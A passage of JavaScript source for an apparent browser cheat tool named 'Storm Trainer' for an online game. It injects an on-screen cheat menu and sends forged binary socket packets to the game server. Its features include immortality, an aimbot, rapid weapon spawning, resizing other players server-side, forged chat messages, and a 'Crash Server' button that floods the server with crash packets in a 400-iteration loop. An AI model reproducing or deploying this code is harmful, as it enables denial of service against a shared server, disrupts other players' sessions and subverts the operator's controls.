9,255,252,6,20,96,124,24,4,104,76,0,15,0,0,0,9,255,253,6,20,120,98,24,4,78,100,0,15,0,0,0,9,0,4,6,20,120,98,24,4,78,100,0,15,0,0,0,10,0,4,6,5,55,57,8,3,52,50,0,21,0,0,0,10,0,3,6,10,35,39,14,4,54,50,0,15,255,255,0,8,0,4,6,20,120,124,48,28,104,100,0,15,0,0,0,10,0,2,6,5,55,59,9,4,54,50,0,21,255,255,0,9,0,3,6,46,120,124,49,29,104,100,26,15,255,255,0,9,0,4,6,45,120,124,49,29,104,100,25,15,0,0,0,8,0,3,6,20,96,124,24,4,104,76,0,15,255,255,0,7,0,3,6,46,120,124,24,19,119,115,41,23,255,255,0,9,255,251,6,30,55,69,44,29,54,50,25,16,255,255,0,8,255,253,6,20,120,124,48,28,104,100,0,15,255,255,0,8,0,3,6,46,120,124,24,4,104,100,26,15,255,255,0,8,255,252,6,46,120,124,24,4,104,100,26,15,255,255,0,9,255,253,6,45,120,124,48,28,104,100,25,15,255,255,0,9,255,252,6,45,120,124,49,29,104,100,25,15,0,0,0,7,255,253,6,20,70,48,23,3,28,50,0,23,0,0,0,8,255,253,6,20,120,98,24,4,78,100,0,15,0,0,0,7,255,252,6,21,46,74,24,4,54,26,1,23,0,0,0,8,255,252,6,20,96,124,24,4,104,76,0,15,0,0,0,7,0,3,6,21,46,74,24,9,59,31,6,23,0,0,0,7,0,4,6,20,70,48,23,8,33,55,5,23,255,255,0,9,0,5,6,40,65,59,34,29,54,50,25,16,0,0,0,8,0,4,6,20,120,98,24,4,78,100,0,15,255,255,0,9,0,1,6,70,120,124,74,69,114,110,65,23,0,0,0,9,0,0,6,20,70,74,24,4,79,75,0,23,0,0,0,9,0,1,6,20,115,117,22,2,102,100,0,22,0,0,0,9,255,255,6,22,117,119,24,4,104,102,2,22,0,0,0,8,255,255,6,23,73,74,24,4,54,53,3,23,0,0,0,8,0,0,6,20,70,74,24,4,54,50,0,23,0,0,0,8,0,1,6,20,70,71,21,1,51,50,0,23,255,255,0,10,0,3,6,55,105,109,59,54,104,100,50,21,255,255,0,10,0,4,6,55,105,108,57,52,103,100,50,21,0,0,0,10,0,1,6,45,70,59,34,29,54,60,35,21,0,0,0,10,0,0,6,40,65,69,44,29,54,50,25,23,0,0,0,10,255,255,6,30,55,74,49,39,64,50,25,21,0,0,0,10,255,254,6,5,55,59,9,4,54,50,0,21,0,0,0,10,255,253,6,10,35,39,14,4,54,50,0,15,255,255,0,10,255,252,6,57,106,109,59,54,104,101,52,21,0,0,0,10,255,252,6,6,57,59,9,4,54,52,1,21,255,255,0,9,255,255,6,70,120,124,74,69,114,110,65,23,0,1,0,9,0,1,6,15,40,42,17,2,27,25,0,21,0,1,0,9,255,255,6,17,42,44,19,4,29,27,2,21,0,1,0,8,255,255,6,22,47,49,24,4,29,27,2,21,0,1,0,8,0,1,6,20,45,47,22,2,27,25,0,21,0,0,6,46,62,128,0,0,0,4,15,111,0,0,3,84,0,0,0,53,255,255,0,7,255,252,6,46,120,124,24,19,119,115,41,23,255,255,0,7,0,4,6,20,120,124,48,43,119,115,15,23,255,255,0,10,0,2,6,105,105,109,59,54,104,100,100,21,255,255,0,7,255,253,6,20,120,124,48,43,119,115,15,23,255,255,0,10,255,254,6,55,105,109,109,104,104,100,50,21,255,255,0,10,255,253,6,55,105,109,59,54,104,100,50,21,0,0,0,9,0,3,6,20,96,124,24,4,104,76,0,7,0,0,0,9,255,252,6,20,96,124,24,4,104,76,0,7,0,0,0,9,255,253,6,20,120,98,24,4,78,100,0,7,0,0,0,9,0,4,6,20,120,98,24,4,78,100,0,7,0,0,0,10,0,4,6,5,55,57,8,3,52,50,0,21,0,0,0,10,0,3,6,10,35,39,14,4,54,50,0,15,255,255,0,8,0,4,6,20,120,124,48,28,104,100,0,7,0,0,0,10,0,2,6,5,55,59,9,4,54,50,0,21,255,255,0,9,0,3,6,46,120,124,49,29,104,100,26,7,255,255,0,9,0,4,6,45,120,124,49,29,104,100,25,7,0,0,0,8,0,3,6,20,96,124,24,4,104,76,0,7,255,255,0,7,0,3,6,46,120,124,24,19,119,115,41,23,255,255,0,9,255,251,6,30,55,69,44,29,54,50,25,5,255,255,0,8,255,253,6,20,120,124,48,28,104,100,0,7,255,255,0,8,0,3,6,46,120,124,24,4,104,100,26,7,255,255,0,8,255,252,6,46,120,124,24,4,104,100,26,7,255,255,0,9,255,253,6,45,120,124,48,28,104,100,25,7,255,255,0,9,255,252,6,45,120,124,49,29,104,100,25,7,0,0,0,7,255,253,6,20,70,48,23,3,28,50,0,23,0,0,0,8,255,253,6,20,120,98,24,4,78,100,0,7,0,0,0,7,255,252,6,21,46,74,24,4,54,26,1,23,0,0,0,8,255,252,6,20,96,124,24,4,104,76,0,7,0,0,0,7,0,3,6,21,46,74,24,9,59,31,6,23,0,0,0,7,0,4,6,20,70,48,23,8,33,55,5,23,255,255,0,9,0,5,6,40,65,59,34,29,54,50,25,5,0,0,0,8,0,4,6,20,120,98,24,4,78,100,0,7,255,255,0,9,0,1,6,70,120,124,74,69,114,110,65,23,0,0,0,9,0,0,6,20,70,74,24,4,79,75,0,23,0,0,0,9,0,1,6,20,115,117,22,2,102,100,0,22,0,0,0,9,255,255,6,22,117,119,24,4,104,102,2,22,0,0,0,8,255,255,6,23,73,74,24,4,54,53,3,23,0,0,0,8,0,0,6,20,70,74,24,4,54,50,0,23,0,0,0,8,0,1,6,20,70,71,21,1,51,50,0,23,255,255,0,10,0,3,6,55,105,109,59,54,104,100,50,21,255,255,0,10,0,4,6,55,105,108,57,52,103,100,50,21,0,0,0,10,0,1,6,45,100,111,1,133,98,0)
        },







CUBEGUN: function(x){
			CheatAPI.SEND_SOCKET(
				243,4,29,0,3,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,x,254,105,0,0,0,0)},

        SEND_CHAT_MESSAGE: function(MESSAGETYPE, ACTORNR, MESSAGE){
            let encodedMessage = CheatAPI.FUNCTIONS.ENCODE_TEXT(MESSAGE)
            CheatAPI.SEND_SOCKET(243, 2, 88, 0, 2, 87, 105, 0, 0, 0, MESSAGETYPE, 88, 68, 0, 0, 0, 2, 98, 0, 105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(ACTORNR), 98, 5, 115, 0, encodedMessage.length, ...encodedMessage)
        }
    }
}

let menu = document.createElement("div")
menu.className = "CheatMenu"
top.document.body.appendChild(menu)

let head = document.createElement("div")
head.className = "CheatHead"
menu.appendChild(head)

let minimize = document.createElement("input")
minimize.className = "CheatMinimize"
minimize.type = "button"
minimize.value = "X"
minimize.onclick = function(){
    menu.style.display = "none"
    let open = document.createElement("div")
    open.className = "CheatOpen"
    open.onclick = function(){
        open.remove()
        menu.style.display = "block"
    }
    top.document.body.appendChild(open)
}
head.appendChild(minimize)


top.document.addEventListener("auxclick", function() {
    menu.style.display = "block"
})

let title = document.createElement("p")
title.className = "CheatTitle"
title.textContent = "Storm Trainer"
head.appendChild(title)

top.document.addEventListener('mouseup', e => {
    if (menu.movement) {
        menu.movement = false;
        e.preventDefault();
        e.stopPropagation();
    }
})
top.document.addEventListener('mousemove', e => {
    if (menu.movement) {
        menu.style.left = (menu.startpos.x + e.x - menu.startpos.mx) + 'px';
        menu.style.top = (menu.startpos.y + e.y - menu.startpos.my) + 'px';
        if (menu.offsetTop < 0) menu.style.top = '0px';
        e.preventDefault();
        e.stopPropagation();
    }
});
head.addEventListener('mousedown', e => {
    menu.movement = true;
    menu.startpos = {
        x: menu.offsetLeft,
        y: menu.offsetTop,
        mx: e.x,
        my: e.y
    };
    e.preventDefault();
    e.stopPropagation();
});

let tabs = document.createElement("div")
tabs.className = "CheatTabs"
menu.appendChild(tabs)

let reset1 = document.createElement("input")
reset1.className = "CheatButton"
reset1.style = `
position: absolute;
top: 90%;
left: 20%;
transform: translate(-50%, -50%);
`;
reset1.type = "button"
reset1.value = "Crash Server"
reset1.onclick = function(){
    CheatAPI.CHEATS.CLONE_OBJECTTEST(75579,"BOTH")
    for(var lag = 0; lag < 400; lag++){
     CheatAPI.CHEATS.CRASH_NOTI(5)
    CheatAPI.CHEATS.CRASH_NOTI(17)
    }
}
menu.appendChild(reset1)

let reset = document.createElement("input")
reset.className = "CheatButton"
reset.style = `
position: absolute;
top: 90%;
left: 50%;
transform: translate(-50%, -50%);
`;
reset.type = "button"
reset.value = "Reset"
reset.onclick = function(){
    if(window.kogamaload){
    Object.values(interface.tabsContent).forEach((tabContent)=>{
        tabContent.childNodes.forEach((node)=>{
            if(node.defaultState){
                node.defaultState()
            }
        })
    })
    }
}
menu.appendChild(reset)

let credits = document.createElement("h1")
credits.className = "CheatCredits"
credits.textContent = ""
menu.appendChild(credits)

let interface = {
    config: {
        color: "#ff0000",
        bodyColor: "#000000"
    },
    tabs: {},
    tabsContent: {},
    addTab: function(txt){
        let tab = document.createElement("input")
        tab.className = "CheatTab"
        tab.type = "button"
        tab.value = txt
        tabs.appendChild(tab)
        let content = document.createElement("div")
        content.className = "CheatTabContent"
        menu.appendChild(content)
        if(Object.values(interface.tabs).length == 0){
            tab.style.borderBottom = `2px solid ${interface.config.color}`
        }
        tab.onclick = function(){
            tab.style.borderBottom = `2px solid ${interface.config.color}`
            interface.tabsContent[txt].style.display = "block"
            Object.values(interface.tabs).forEach((Tab)=>{
                if(Tab != tab){
                    Tab.style.borderBottom = "2px solid #959596"
                }
            })
            Object.values(interface.tabsContent).forEach((Content)=>{
                if(Content != content){
                Content.style.display = "none"
                }
            })
        }
        interface.tabs[txt] = tab
        interface.tabsContent[txt] = content
    },
    addLine: function(visible, margin, tab) {
            let line = document.createElement("hr")
            if (!visible) {
                line.style.border = "none"
            }else{
                line.style.border = `1px solid ${interface.config.color}`
            }
            line.style.marginTop = `${margin/2}px`
            line.style.marginBottom = `${margin/2}px`
            interface.tabsContent[tab].appendChild(line)
        },
        addText: function(txt, tab) {
            interface.addLine(false, 30, tab)
            let text = document.createElement("p")
            text.className = "CheatText"
            text.textContent = `??${txt}`
            window[txt] = text
            interface.tabsContent[tab].appendChild(text)
        },
        addCheckBox: function(txt, tab) {
            interface.addLine(false, 30, tab)
            let input = document.createElement("input")
            input.type = "checkbox"
            input.id = "CheatCheckBox"
            input.defaultState = function(){
                input.checked = false
            }
            let label = document.createElement("label")
            label.for = "CheatCheckBox"
            label.textContent = `${txt}?`
            label.className = "CheatLabel"
            input.onmouseover = function() {
                this.style.opacity = "1"
                label.style.opacity = "1"
            }
            input.onmouseout = function() {
                this.style.opacity = "0.7"
                label.style.opacity = "0.7"
            }
            label.onmouseover = function() {
                this.style.opacity = "1"
                input.style.opacity = "1"
            }
            label.onmouseout = function() {
                this.style.opacity = "0.7"
                input.style.opacity = "0.7"
            }
            interface.tabsContent[tab].appendChild(label)
            interface.tabsContent[tab].appendChild(input)
            window[txt] = input
        },
        addButton: function(txt, tab) {
            interface.addLine(false, 30, tab)
            let input = document.createElement("input")
            input.className = "CheatButton"
            input.type = "button"
            input.value = txt
            if(txt.length > 16){
                input.style.width = `${txt.length*txt.length/2}px`
            }
            interface.tabsContent[tab].appendChild(input)
            window[txt] = input
        },
        addRange: function(txt, tab) {
            interface.addLine(false, 30, tab)
            let div = document.createElement("div")
            div.className = "CheatRangeDiv"
            interface.tabsContent[tab].appendChild(div)
            let input = document.createElement("input")
            input.type = "range"
            input.id = "CheatRange"
            let label = document.createElement("label")
            label.for = "CheatRange"
            label.textContent = txt
            label.className = "CheatLabel"
            input.onmouseover = function() {
                label.style.opacity = "1"
            }
            input.onmouseout = function() {
                label.style.opacity = "0.7"
            }
            div.appendChild(label)
            div.appendChild(input)
            div.defaultState = function(){
                input.value = input.min
                input.onchange()
                label.textContent = txt
            }
            window[txt] = {
                input: input,
                label: label
            }
        },
        addSelect(txt, options, tab, confirm) {
            interface.addLine(false, 30, tab)
            let div = document.createElement("div")
            div.className = "CheatSelectDiv"
            let select = document.createElement("select")
            select.className = "CheatSelect"
            select.defaultState = function(){
                select.options[0].selected = true
            }
            select.updateOptions = function(options){
                select.options.length = 0
                let option = document.createElement("option")
                option.textContent = txt
                option.disabled = true
                option.selected = true
                select.appendChild(option)
                options.forEach((opt)=>{
                    let option = document.createElement("option")
                    option.textContent = opt
                    select.appendChild(option)
                })
            }
            let option = document.createElement("option")
            option.selected = true
            option.disabled = true
            option.textContent = txt
            select.appendChild(option)
            options.forEach((opt) => {
                let option = document.createElement("option")
                option.textContent = opt
                select.appendChild(option)
            })
            let input = document.createElement("input")
            input.className = "CheatButton"
            input.style = `
            height: 40px;
            width: 40px;
            margin-left: 10px;
            `
            input.type = "button"
            input.value = "?"
            input.onclick = confirm
            div.appendChild(select)
            div.appendChild(input)
            interface.tabsContent[tab].appendChild(div)
            window[txt] = select
        },
        addTextField: function(txt, tab){
            interface.addLine(false, 30, tab)
            let input = document.createElement("input")
            input.className = "CheatButton"
            input.type = "text"
            input.placeholder = txt
            input.defaultState = function(){
                input.value = ""
                input.disabled = true
            }
            interface.tabsContent[tab].appendChild(input)
            window[txt] = input
        },
    addFileInput: function(name, tab){
        interface.addLine(false, 30, tab)
        let input = document.createElement("input")
        input.type = "file"
        interface.tabsContent[tab].appendChild(input)
        window[name] = input
    },
}

let css = document.createElement("style")
css.textContent = `
@charset "UTF-8";
@import url('https://fonts.googleapis.com/css2?family=Quicksand:wght@300&display=swap');
.CheatWaitingText {
margin-top: 150px;
color: #ff0000;
user-select: none;
font-family: Comic Sans;
font-size: 50px;
}
.CheatOpen {
position: fixed;
z-index: 9999;
top: 0%;
left: 50%;
transform: translate(-50%, -50%);
background-color: #000000;
height: 60px;
width: 60px;
box-shadow: 0 0 20px black;
border-radius: 50%;
-webkit-transition: box-shadow 0.5s;
transition: box-shadow 0.5s;
}
.CheatOpen:hover {
box-shadow: 0 0 40px black;
}
.CheatMenu {
position: fixed;
z-index: 9999;
top: 100px;
left: 300px;
height: 400px;
width: 650px;
background-color: ${interface.config.bodyColor ? interface.config.bodyColor : "#1c1b1b"};
border-top: 5px solid ${interface.config.color};
opacity: 95%;
animation: borderAnim 8s infinite;
box-shadow: 0 0 20px black;
font-family: Comic Sans;
scrollbar-color: white #1c1b1b;
text-align: center;
justify-content: center;
}
::-webkit-scrollbar {
width: 10px;
-webkit-transition: all 0.5s;
transition: all 0.5s;
}
::-webkit-scrollbar-track {
border-radius: 10px;
}
::-webkit-scrollbar-thumb {
background: white;
border-radius: 10px;
}
::-webkit-scrollbar-thumb:hover {
background: grey;
}
.CheatHead {
position: fixed;
z-index: 9999;
width: 650px;
display: flex;
justify-content: right;
align-items: right;
}
.CheatMinimize {
background-color: transparent;
color: white;
border: none;
height: 30px;
width: 50px;
-webkit-transition: all 0.5s;
transition: all 0.5s;
}
.CheatMinimize:hover {
background-color: #ff0000;
color: black;
}
.CheatTitle {
position: absolute;
top: 80%;
left: 50%;
transform: translate(-50%, -50%);
color: #ff0000;
font-size: 30px;
user-select: none;
}
.CheatTabs {
display: none;
position: absolute;
top: 60px;
height: 30px;
width: 100%;
}
.CheatTab {
height: 30px;
width: 70px;
color: ${interface.config.color};
background-color: #1c1b1b;
border: none;
border-bottom: 2px solid #959596;
}
.CheatTabContent {
display: none;
position: absolute;
top: 55%;
left: 50%;
padding: 10px;
transform: translate(-50%, -50%);
text-align: left;
align-items: left;
justify-content: left;
height: 215px;
width: 600px;
overflow-y: auto;
border: 1px solid ${interface.config.color};
}
.CheatCredits {
user-select: none;
color: #959596;
position: absolute;
top: 90%;
left: 80%;
transform: translate(-50%, -50%);
font-size: 15px;
}
.CheatText {
color: ${interface.config.color};
font-size: 15px;
user-select: none;
}
.CheatMenu input[type="checkbox"]{
width: 13px !important;
height: 13px !important;
-webkit-appearance: none;
-moz-appearance: none;
-o-appearance: none;
appearance:none;
outline: 2px solid white;
box-shadow: none;
opacity: 0.7;
-webkit-transition: all 0.5s;
transition: all 0.5s;
}
.CheatMenu input[type="checkbox"]:checked {
background-color: ${interface.config.color};
box-sizing: border-box;
-moz-box-sizing: border-box;
-webkit-box-sizing: border-box;
border: 2px solid black;
}
.CheatLabel {
pointer-events: none;
z-index: 9999;
color: ${interface.config.color};
user-select: none;
opacity: 0.7;
-webkit-transition: all 0.5s;
transition: all 0.5s;
}
.CheatButton {
border: none;
background-color: #262626;
color: ${interface.config.color};
height: 40px;
width: 140px;
text-align: center;
box-sizing: border-box;
-moz-box-sizing: border-box;
-webkit-box-sizing: border-box;
border: 2px solid #454545;
outline: none;
opacity: 0.7;
-webkit-transition: all 0.5s;
transition: all 0.5s;
}
.CheatButton:hover {
opacity: 1;
}
.CheatRangeDiv {
width: 190px;
display: flex;
align-items: center;
justify-content: center;
}
#CheatRange {
-webkit-appearance: none;
position: absolute;
appearance: none;
background: #262626;
height: 25px;
outline: none;
opacity: 0.7;
-webkit-transition: all 0.5s;
transition: all 0.5s;
cursor: e-resize;
}
#CheatRange:hover {
opacity: 1;
}
#CheatRange::-webkit-slider-thumb {
-webkit-appearance: none;
appearance: none;
width: 10px;
height: 20px;
border: none;
background: ${interface.config.color};
}

#CheatRange::-moz-range-thumb {
background: ${interface.config.color};
width: 10px;
height: 20px;
border: none;
}
.CheatSelect {
background-color: #262626;
color: ${interface.config.color};
height: 40px;
box-sizing: border-box;
-moz-box-sizing: border-box;
-webkit-box-sizing: border-box;
border: 2px solid #454545;
opacity: 0.7;
-webkit-transition: all 0.5s;
transition: all 0.5s;
font-family: Comic Sans;
}
.CheatSelect:hover {
opacity: 1;
}
`
top.document.head.appendChild(css)

top.deleteSkin = function(){
    let posx = CheatAPI.PLAYER.POS.X
    let posy = CheatAPI.PLAYER.POS.Y
    let posz = CheatAPI.PLAYER.POS.Z
    for(var x = 0; x < 10; x++){
        for(var y = 0; y < 10; y++){
            for(var z = 0; z < 10; z++){
                CheatAPI.CHEATS.REMOVE_CUBE(posx+x, posy+y, posz+z, "BOTH")
            }
        }
    }
}
document.onkeydown = function(e) {
    if (e.key == " " && window.fly) {
        for (var i = 0; i < window.fly; i++) {
            CheatAPI.CHEATS.IMPULSE(CheatAPI.PLAYER.WOID)
        }
    } else if (e.key == "1" && window.freezeplayerskey) {
        window.freezeplayers = true
    } else if (e.key == "2" && window.freezeplayerskey) {
        window.freezeplayers = false


    } else if (e.key == "]") {
        window.socks ? window.socks = false : window.socks = true
    } else  if (aimBot == true){if (e.key == "3") {
 window.aimbot ? window.aimbot = false : window.aimbot = true
        setTimeout(()=>{
CheatAPI.SEND_SOCKET(243,2,25,0,2,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),70,68,0,0,0,1,115,0,8,105,115,70,105,114,105,110,103,111,0)
        }, 0)

     }
       if (e.key == "8") {
 window.aimbotest ? window.aimbotest = false : window.aimbotest = true
        setTimeout(()=>{
CheatAPI.SEND_SOCKET(243,2,25,0,2,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),70,68,0,0,0,1,115,0,8,105,115,70,105,114,105,110,103,111,0)
        }, 0)

     }} else  if (cubeBot == true){
         if (e.key == "4") {
                               window.cubebot = true}

       else if (e.key == "5") {
                              window.cubebot = false
           } else  if (cubeBot1 == true){
         if (e.key == "6") {
                               window.cubebot1 = true}

       else if (e.key == "7") {
                              window.cubebot1 = false
       } else if (e.key == "8") {
CheatAPI.SEND_SOCKET(243,2,93,0,1,245,68,0,0,0,1,115,0,1,86,111,0)

                                }}}}
interface.addTab("Player")
interface.addTab("Weapon")
interface.addTab("Chat")
interface.addTab("Cube")
interface.addTab("Crash")
interface.addTab("Notif")
interface.addTab("MAP")
interface.addTab("Objects")
interface.addTab("Other")

interface.addLine(true, 30, "Player")
interface.addCheckBox("Immortality", "Player")
window["Immortality"].onchange = function() {
    if (this.checked) {
        let woid = CheatAPI.PLAYER.WOID
        CheatAPI.CHEATS.SET_HEALTH(woid, 99999999)
        CheatAPI.CHEATS.SET_MAX_HEALTH(woid, 99999999)
        CheatAPI.SERVER_BLOCKS.push(32)
    } else {
        let woid = CheatAPI.PLAYER.WOID
        CheatAPI.CHEATS.SET_HEALTH(woid, 100)
        CheatAPI.CHEATS.SET_MAX_HEALTH(woid, 100)
        let index = CheatAPI.SERVER_BLOCKS.indexOf(32)
        CheatAPI.SERVER_BLOCKS.splice(index, index - 1)
    }
}

interface.addLine(true, 30, "Player")
interface.addSelect("Change Team", Object.keys(CheatAPI.TEAM_IDS), "Player", function(){
    CheatAPI.CHEATS.CHANGE_TEAM(CheatAPI.TEAM_IDS[window["Change Team"].options[window["Change Team"].selectedIndex].textContent])
})
interface.addLine(true, 30, "Player")

interface.addSelect("Better Than Effects", Object.keys(CheatAPI.NO_IDS), "Player", function(){
    CheatAPI.CHEATS.EF(CheatAPI.NO_IDS[window["Better Than Effects"].options[window["Better Than Effects"].selectedIndex].textContent])
})
interface.addLine(true, 30, "Player")




interface.addRange("Fly(0)", "Player")
window["Fly(0)"].input.min = 0
window["Fly(0)"].input.max = 10
window["Fly(0)"].input.value = 0
window["Fly(0)"].input.onchange = function(e) {
    window["Fly(0)"].label.textContent = `Fly(${window["Fly(0)"].input.value})`
    window.fly = parseInt(window["Fly(0)"].input.value)
}




interface.addTextField("Self size", "Player")
window["Self size"].onkeydown = function(e){
    if(e.key == "Enter"){
        CheatAPI.CHEATS.RUN_TIME(CheatAPI.PLAYER.WOID,this.value,"BOTH")
    }
}

interface.addRange("Other Players Size(1)", "Player")
window["Other Players Size(1)"].input.min = 1
window["Other Players Size(1)"].input.max = 20
window["Other Players Size(1)"].input.value = 1
window["Other Players Size(1)"].input.onchange = function(){
    window["Other Players Size(1)"].label.textContent = `Other Players Size(${window["Other Players Size(1)"].input.value})`
    CheatAPI.PLAYERS.forEach((player)=>{ if(player.WOID != CheatAPI.PLAYER.WOID)
                CheatAPI.CHEATS.SET_SIZE(player.WOID, parseInt(window["Other Players Size(1)"].input.value), "SERVER")
                                       })}
/* if(e.key == "3" && window.aimhelperkey) {
        CheatAPI.PLAYERS.forEach((player)=>{
            if(player.WOID != CheatAPI.PLAYER.WOID)
                CheatAPI.CHEATS.SET_SIZE(player.WOID, 5, "SERVER")
        })*/
interface.addRange("Player Level(1)", "Player")
window["Player Level(1)"].input.min = 1
window["Player Level(1)"].input.max = 45
window["Player Level(1)"].input.value = 1
window["Player Level(1)"].input.onchange = function(){
    window["Player Level(1)"].label.textContent = `Player Level(${window["Player Level(1)"].input.value})`
    CheatAPI.CHEATS.SET_LEVEL(parseInt(window["Player Level(1)"].input.value))
}
interface.addRange("Player Tier(1)", "Player")
window["Player Tier(1)"].input.min =48
window["Player Tier(1)"].input.max =51
window["Player Tier(1)"].input.value =48
window["Player Tier(1)"].input.onchange = function(){
    window["Player Tier(1)"].label.textContent = `Player Tier(${window["Player Tier(1)"].input.value})`
    CheatAPI.CHEATS.UNLOCK_TIER(parseInt(window["Player Tier(1)"].input.value))
}
interface.addRange("Player Heal(1)", "Player")
window["Player Heal(1)"].input.min = 1
window["Player Heal(1)"].input.max = 9999
window["Player Heal(1)"].input.value = 1
window["Player Heal(1)"].input.onchange = function(){
    window["Player Heal(1)"].label.textContent = `Player Heal(${window["Player Heal(1)"].input.value})`
    CheatAPI.CHEATS.HEALVALUE(parseInt(window["Player Heal(1)"].input.value))
}


interface.addLine(true, 30, "Player")
interface.addCheckBox("Swim", "Player")
window["Swim"].onchange = function() {
  if(this.checked){
        window.spam4 = setInterval(()=>{
        CheatAPI.CHEATS.A1()
        }, 100)
    }else{
        clearInterval(window.spam4)

    }
}

interface.addCheckBox("Walk", "Player")
window["Walk"].onchange = function() {
  if(this.checked){
        window.spam7 = setInterval(()=>{
        CheatAPI.CHEATS.A2()
        }, 100)
    }else{
        clearInterval(window.spam7)

    }
}
interface.addCheckBox("Freeze", "Player")
window["Freeze"].onchange = function() {
  if(this.checked){
        window.spamo = setInterval(()=>{
        CheatAPI.CHEATS.A3()
        }, 100)
    }else{
        clearInterval(window.spamo)

    }
}
interface.addCheckBox("Jump", "Player")
window["Jump"].onchange = function() {
  if(this.checked){
        window.spam39 = setInterval(()=>{
        CheatAPI.CHEATS.A4()
        }, 100)
    }else{
        clearInterval(window.spam39)

    }
}

interface.addCheckBox("Tpose", "Player")
window["Tpose"].onchange = function() {
  if(this.checked){
        window.spam3 = setInterval(()=>{
        CheatAPI.CHEATS.A5()
        }, 100)
    }else{
        clearInterval(window.spam3)

    }
}

interface.addCheckBox("Death", "Player")
window["Death"].onchange = function() {
  if(this.checked){
        window.spam3s = setInterval(()=>{
        CheatAPI.CHEATS.A6()
        }, 100)
    }else{
        clearInterval(window.spam3s)

    }
}


interface.addButton("AimBot (3)", "Weapon")
window["AimBot (3)"].onclick = function(){
      if (aimBot == true){

                   aimBot = false; }
 else{
aimBot = true;
 }

}
interface.addButton("ESP + NoClip (experimental)", "Weapon")
window["ESP + NoClip (experimental)"].onclick = function(){
  //  CheatAPI.CHEATS.CLONE_OBJECTTEST1(75579,"SERVER")
   CheatAPI.CHEATS.RESET_TERRAIN()
   CheatAPI.SEND_SOCKET(243,3,1,0,0,42,0,1,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(75579))
    //
}


interface.addCheckBox("Rapid Bazooka (for aimbot)", "Weapon")
window["Rapid Bazooka (for aimbot)"].onchange = function() {
    if (this.checked) {
        window.autofire2d = setInterval(() => {for(var lag = 0; lag < 1; lag++){
            CheatAPI.CHEATS.SPAWN_ITEM(5)
            CheatAPI.CHEATS.SPAWN_ITEM(4)
        }}, 0)
    } else {
        clearInterval(window.autofire2d)
        window.rapidfire2d = null
    }
}

interface.addCheckBox("Sniper Bot", "Weapon")
window["Sniper Bot"].onchange = function() {
    if (this.checked) {
        window.autofqire = setInterval(() => {
         CheatAPI.CHEATS.IS_FIRING(1)
         CheatAPI.CHEATS.IS_FIRING(0)
         CheatAPI.CHEATS.IS_FIRING(1)
            CheatAPI.CHEATS.SPAWN_ITEM2(6)
        }, 6000)
    } else {
        clearInterval(window.autofqire)
        window.rapidfires = null
    }
}
interface.addCheckBox("Impulse Bot", "Weapon")
window["Impulse Bot"].onchange = function() {
    if (this.checked) {
        window.autofqire = setInterval(() => {
         CheatAPI.CHEATS.IS_FIRING(1)
         CheatAPI.CHEATS.IS_FIRING(0)
         CheatAPI.CHEATS.IS_FIRING(1)
            CheatAPI.CHEATS.SPAWN_ITEM2(2)
        }, 6000)
    } else {
        clearInterval(window.autofqire)
        window.rapidfires = null
    }
}
interface.addLine(true, 30, "Weapon")
interface.addCheckBox("Auto Fire", "Weapon")
window["Auto Fire"].onchange = function() {
    if (this.checked) {
        window.autofire = setInterval(() => {
            CheatAPI.CHEATS.IS_FIRING(1)
        }, 5)
    } else {
        clearInterval(window.autofire)
        window.rapidfire = null
    }
}
interface.addCheckBox("Hold Fire", "Weapon")
window["Hold Fire"].onchange = function() {
    if (this.checked) {
        window.autofired = setInterval(() => {
            CheatAPI.CHEATS.IS_FIRING(0)
        }, 5)
    } else {
        clearInterval(window.autofired)
        window.rapidfired = null
    }
}
interface.addLine(true, 30, "Weapon")

interface.addSelect("Weapon", Object.keys(CheatAPI.ITEM_IDS), "Weapon", function(){
    CheatAPI.CHEATS.SPAWN_ITEM(CheatAPI.ITEM_IDS[window["Weapon"].options[window["Weapon"].selectedIndex].textContent])
})
interface.addSelect("Weapon 2", Object.keys(CheatAPI.ITEM_IDS), "Weapon", function(){
    CheatAPI.CHEATS.SPAWN_ITEM2(CheatAPI.ITEM_IDS[window["Weapon 2"].options[window["Weapon 2"].selectedIndex].textContent])
})
interface.addSelect("CubeGun", Object.keys(CheatAPI.MATERIAL_IDS), "Weapon", function(){
    CheatAPI.CHEATS.CUBEGUN(CheatAPI.MATERIAL_IDS[window["CubeGun"].options[window["CubeGun"].selectedIndex].textContent])
})
interface.addLine(true, 30, "Weapon")
interface.addCheckBox("Rapid Bazooka", "Weapon")
window["Rapid Bazooka"].onchange = function() {
    if (this.checked) {
        window.autofire2 = setInterval(() => {
            CheatAPI.CHEATS.SPAWN_ITEM(5)
            CheatAPI.CHEATS.SPAWN_ITEM(4)
        }, 100)
    } else {
        clearInterval(window.autofire2)
        window.rapidfire2 = null
    }
}
interface.addCheckBox("Rapid Sword", "Weapon")
window["Rapid Sword"].onchange = function() {
    if (this.checked) {
        window.autofire27 = setInterval(() => {
            CheatAPI.CHEATS.SPAWN_ITEM(5)
            CheatAPI.CHEATS.SPAWN_ITEM(8)
        }, 100)
    } else {
        clearInterval(window.autofire27)
        window.rapidfire27 = null
    }
}
interface.addCheckBox("Rapid ShotGun", "Weapon")
window["Rapid ShotGun"].onchange = function() {
    if (this.checked) {
        window.autofire277 = setInterval(() => {
            CheatAPI.CHEATS.SPAWN_ITEM(5)
            CheatAPI.CHEATS.SPAWN_ITEM(9)
        }, 100)
    } else {
        clearInterval(window.autofire277)
        window.rapidfire277 = null
    }
}
interface.addCheckBox("Rapid GrowthGun", "Weapon")
window["Rapid GrowthGun"].onchange = function() {
    if (this.checked) {
        window.autofire27s = setInterval(() => {
            CheatAPI.CHEATS.SPAWN_ITEM(5)
            CheatAPI.CHEATS.SPAWN_ITEM(62)
        }, 100)
    } else {
        clearInterval(window.autofire27s)
        window.rapidfire27s = null
    }
}
interface.addCheckBox("Rapid MouseGun", "Weapon")
